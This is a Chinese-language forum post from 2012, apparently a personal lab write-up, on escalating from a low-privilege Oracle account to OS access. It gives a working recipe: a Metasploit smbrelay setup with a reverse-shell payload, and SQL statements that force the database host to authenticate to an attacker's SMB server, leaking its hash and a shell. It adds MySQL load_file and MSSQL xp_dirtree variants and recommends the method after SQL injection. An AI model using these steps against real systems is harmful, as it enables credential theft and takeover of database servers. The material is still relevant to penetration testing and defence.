低权限Oracle数据库账户得到OS访问权限

[复制链接]
查看287 | 回复0 | 2012-4-1 19:21:31 | 显示全部楼层 |阅读模式
这几天看了篇叫&rdquoenetration:fromapplicationdowntoOS(Oracle)”的文档,感觉挺有意思的,文档的大概意思就是说,如果ORACLE服务是用administrator账户启动的,你只要有一个具有resource和connect权限的数据库账户,就能利用metasploit的smbrelay功能,本地搭建一个SMB欺骗服务器,来得到系统的访问权限。我本地测试了下,还真的成功了。:-)
具体的原理分析看原文吧,我这里把我的测试过程写出来.
我的渗透环境用的是ubuntu8.10+metasploit3.3dev,oracle数据库版本为10.2.0.1.0,服务启动权限为administrator,数据库账户用的是dbsnmp账户的默认权限.
 




1.先用netstat命令查看一下,本地的139端口有没有占用,一般占用此端口的服务就是Samba了,要关掉。ubuntu的关闭方法是sudo/etc/init.d/sambastop
 
2.运行metasploit,我选用的PAYLOAD是shell_reverse_tcp,做好相应配置后,exploit.就能用netstat看到本地已经监听了139和8522端口了.


3.我现在使用dbsnmp默认账户连接到oracle数据库上,这个账户默认权限是比较低的,只有connect和resource权限。

4.然后执行下面3条SQL语句
SQL>CREATETABLEfiles(idNUMBERPRIMARYKEY,pathVARCHAR(255)UNIQUE,ot_formatVARCHAR(6));
SQL>INSERTINTOfilesVALUES(1,’192.168.1.52mickey’,NULL);
SQL>  CREATEINDEXfile_indexONfiles(path)INDEXTYPEISctxsys.context
2 &nbspARAMETERS(‘datastorectxsys.file_datastoreformatcolumnot_format’);



当执行完createindex这句的时候,在看咱们本地的metasploit,就已经得到ORACLE数据库主机的系统当前服务用户的halflm哈希和cmdshell了。


后来经过pt007的提醒,我又测试了mysql,如果服务也是administrator启动的,用selectload_file(‘\192.168.1.52mk.txt’)也是可以得到系统权限的.MSSQL应该用xp_dirtree存储过程也是可以的,不过我没有配置出来用administrator账户启动MSSQL服务,希望知道的朋友指点下我。
这个技术可以用到内网WEB评估的时候,如果有注入,服务又是administrator启动的,可以提权了。
*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则